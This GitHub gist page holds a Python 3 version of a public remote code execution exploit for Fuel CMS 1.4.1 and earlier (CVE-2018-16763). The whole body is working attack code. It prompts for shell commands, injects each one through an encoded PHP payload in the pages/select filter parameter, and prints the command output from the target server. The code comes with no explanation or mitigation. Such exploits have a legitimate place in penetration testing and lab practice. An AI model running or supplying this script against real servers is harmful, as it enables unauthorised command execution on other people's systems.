Skip to content

Instantly share code, notes, and snippets.

@kriss-u

kriss-u/exploit.py

Created June 12, 2021 10:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kriss-u/8e1b44b1f4e393cf0d8a69117227dbd2 to your computer and use it in GitHub Desktop.
Save kriss-u/8e1b44b1f4e393cf0d8a69117227dbd2 to your computer and use it in GitHub Desktop.
Download ZIP
fuel CMS <= 1.4.1 - Remote Code Execution
Raw
exploit.py
# Exploit Title: fuel CMS 1.4.1 - Remote Code Execution (1)
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763
# Updated by Krishna Upadhyay for Python 3
import requests
import urllib
url = "http://10.0.2.29/structure/index.php"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
# xxxx = raw_input('cmd:') # python 2
xxxx = input('cmd:') # python 3
# quoted_xxxx = urllib.quote(xxxx) # python 2
quoted_xxxx = urllib.parse.quote(xxxx) # python 3
full_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quoted_xxxx+"%27%29%2b%27"
# proxy = {"http":"http://127.0.0.1:8080"}
r = requests.get(full_url) #, proxies=proxy)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
# print r.text[0:dup] # python 2
# print(r.text[0:dup]) # python 3
t = r.text[0:dup]
div_position = t.find("<div ")
print(t[0:div_position])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment